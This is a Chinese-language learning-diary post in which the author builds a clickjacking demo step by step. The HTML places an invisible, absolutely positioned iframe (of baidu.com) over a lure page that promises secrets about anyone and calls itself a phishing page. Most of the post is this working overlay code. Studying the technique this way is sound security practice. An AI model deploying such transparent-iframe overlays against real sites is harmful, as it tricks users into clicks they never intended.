首先是写了一个中二的页面,代码如下:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>点击劫持</title>
<link rel="stylesheet"href="main/main.css">
<script>
function fnshow(){
alert("maybe you can find someting secrect about someone");
};
fnshow()
</script>
</head>
<style> </style>
<body>
<h1>欢迎来到这里</h1>
<h3>
我是一个无所不知的网页,可以告诉你关于任何人的任何事情,快来问我吧,我很乐意帮助你
</h3>
<img src="img/项目2.jpg" alt="图片打开失败">
<hr>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<hr>
<div style="color: black;">someting for nothing</div>
<br>
<label>请输入你想要知道的someone</label>
<br>
<input type="text" id=name>
<br>
<lable>你想要知道关于这个人的什么</lable>
<br>
<textarea></textarea>
<p><input type="submit" value="确认"></p>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
</body>
</html>
————————————————————————————————————————————————————————————————
然后这是页面
这里的按钮的话实际上是没有什么作用的,因为重点并不在这里,我要做的是写出另一个页面,并用这个页面给覆盖住,所以是这样的啊:我要先使用到iframe这个标签,具体的使用方法直接百度就好了
我这里只是记录一下我写的过程,并不会很实用,或者说对你很有帮助,所以如果感兴趣的话,可以直接百度iframe点击绑架学习,我写的只是相当于日记之类的,
之后是伪造的页面,我要想一些好玩的事情,不过后来我发现我的两个页面给搞反了,就很好玩。
我要使用到iframe这个标签的属性把这个写出来的嵌套的网页给透明化,这样的话,直接覆盖到另一个网页上面,这样的话就能实现视觉欺骗的效果,所以说带iframe标签的应该是绑架页面,
而看到的那个网页是其实是背景图而已,其实的话实现这样的功能是直接找一张背景图片覆盖就好了的,不过,只是就太敷衍了吧,所以还是要写好一点这个项目 。
好的,现在的话问题就是怎么实现把我的绑架的网页给覆盖在看到的网页的确定按钮上面,这样的话实现在用户按下确认键的时候实际上是按下了在绑架页面的我事先设计的按钮。
现在的页面是:




现在的话 我嵌套的网页是看不见的(透明的),但是定义的位置感觉有点奇怪,按钮的位置也没有在预期的位置。。。就很好玩
实际上是这样的

——————————————————————————————————————————————————————————————————————————————————
现在的话的页面只能算是嵌套页面而已,要实现覆盖还要怎么做呢,害,我也不知道,后面修改一下iframe标签里面的内容,该成一个网站的链接
好,下面是改过的代码:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>点击劫持</title>
<link rel="stylesheet"href="main/main.css">
<script>
function fnshow(){
alert("maybe you can find someting secrect about someone");
};
fnshow()
</script>
<style>
iframe {
width: 700px;
height: 500px;
position:absolute;
top: 0;
left: 50;
filter: alpha(opacity=0);
opacity: 0.5;
}
</style>
</head>
<style> </style>
<body>
<div>
<h1>欢迎来到这里</h1>
<h3>
我是一个无所不知的网页,可以告诉你关于任何人的任何事情,快来问我吧,我很乐意帮助你
</h3>
<img src="img/项目2.jpg" alt="图片打开失败">
<hr>
<br>
<br>
<input type="submit" value="确认">
<br>
</div>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<hr>
<div style="color: black;">someting for nothing</div>
<br>
<div>
<br>
<br>
<label>请输入你想要知道的someone和想知道的事情</label>
<br>
<input type="text" id=name>
<br>
<lable>我知道这样做不好,但结果是不错的</lable>
<br>
<textarea></textarea>
</div>
<div margin:-150px 0 0 -150px><iframe src="http://www.baidu.com" width="1800" height="1000" scrolling="no" webkitallowfullscreen="" mozallowfullscreen="" allowfullscreen=""></iframe>
</div>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
</body>
</html>
————————————————————————————————————————————————————————————————————————————————————

————————————————————————————————————————————————————————————————————————————————————————
这是现在的界面,没有把图片设置成为全透明,所以可见的模糊的百度界面就是我想要的劫持界面,通过样式表的width和height可以调整位置
现在的话是可以用网页链接来覆盖了,只是我还是想要使用之前的写的网页来覆盖的话,就改回来呗。。。。。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>点击劫持</title>
<link rel="stylesheet"href="main/main.css">
<script>
function fnshow(){
alert("maybe you can find someting secrect about someone");
};
fnshow()
</script>
<style>
iframe {
width: 1000px;
height: 1000px;
position:absolute;
top: 0;
left: 0;
filter: alpha(opacity=0);
opacity: 0.5;
}
</style>
</head>
<style> </style>
<body>
<div>
<h1>欢迎来到这里</h1>
<h3>
我是一个无所不知的网页,可以告诉你关于任何人的任何事情,快来问我吧,我很乐意帮助你,(我应该没有告诉你这是一个钓鱼网页吧)
</h3>
<img src="img/项目2.jpg" alt="图片打开失败">
<hr>
<label style="color: aquamarine;">在这里输入你是不会看到内容的,不过你要是想要知道一些不为人知。。。。</label><input type="text" id=name1><label style="color: brown ;">风险是和收获成正比的</label><input type="submit" value="开始查询">
<label>你还要在那一次enter键才行,祝你好运</label>
<br>
<br>
<br>
</div>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<hr>
<div style="color: black;">someting for nothing</div>
<br>
<div>
<br>
<br>
<label style="color: cornflowerblue;">什么都无法舍弃的人就什么都无法得到</label>
<br>
<input type="text" id=name>
<br>
<hr>
<lable style="color: cadetblue;">我知道这样做不好,但结果是不错的</lable>
<br>
<textarea></textarea>
</div>
<div margin:-150px 0 0 -150px><iframe src="http://www.baidu.com" width="1800" height="1000" scrolling="no" webkitallowfullscreen="" mozallowfullscreen="" allowfullscreen=""></iframe>
</div>
<label style="color: cyan;" ;>我的目的达到了,谢谢合作</label>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
</body>
</html>
——————————————————————————————————————————————————————————
这是改好的代码
最终代码:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>点击劫持</title>
<link rel="stylesheet"href="main/main.css">
<script>
function fnshow(){
alert("maybe you can find someting secrect about someone");
};
fnshow()
</script>
<style>
iframe {
width: 1000px;
height: 500px;
position:absolute;
top: 0;
left: 0;
filter: alpha(opacity=0);
opacity: 0;
}
</style>
</head>
<style> </style>
<body>
<div>
<h1>欢迎来到这里</h1>
<h3>
我是一个无所不知的网页,可以告诉你关于任何人的任何事情,快来问我吧,我很乐意帮助你,(我应该没有告诉你这是一个钓鱼网页吧)
</h3>
<img src="img/项目2.jpg" alt="图片打开失败">
<hr>
<label style="color: aquamarine;">在这里输入你是不会看到内容的,不过你要是想要知道一些不为人知。。。。</label><input type="text" id=name1><label style="color: brown ;">风险是和收获成正比的</label><input type="submit" value="开始查询">
<br>
<label>你还要在那一次enter键才行,祝你好运</label>
<br>
<br>
<br>
</div>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<hr>
<div style="color: black;">someting for nothing</div>
<br>
<div>
<br>
<br>
<label style="color: cornflowerblue;">什么都无法舍弃的人就什么都无法得到</label>
<br>
<input type="text" id=name>
<br>
<hr>
<lable style="color: cadetblue;">我知道这样做不好,但结果是不错的</lable>
<br>
<textarea></textarea>
</div>
<div margin:-150px 0 0 -150px><iframe src="http://www.baidu.com" width="1800" height="1000" scrolling="no" webkitallowfullscreen="" mozallowfullscreen="" allowfullscreen=""></iframe>
</div>
<label style="color: cyan;" ;>我的目的达到了,谢谢合作</label>
<input type="button" value="结束" onclick="alert('谢谢你');">
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
</body>
</html>
——————————————————————————————————————————————————————————
—————————————————————————————————————————————————————————————————————————————————————————————
好了,OK。。。。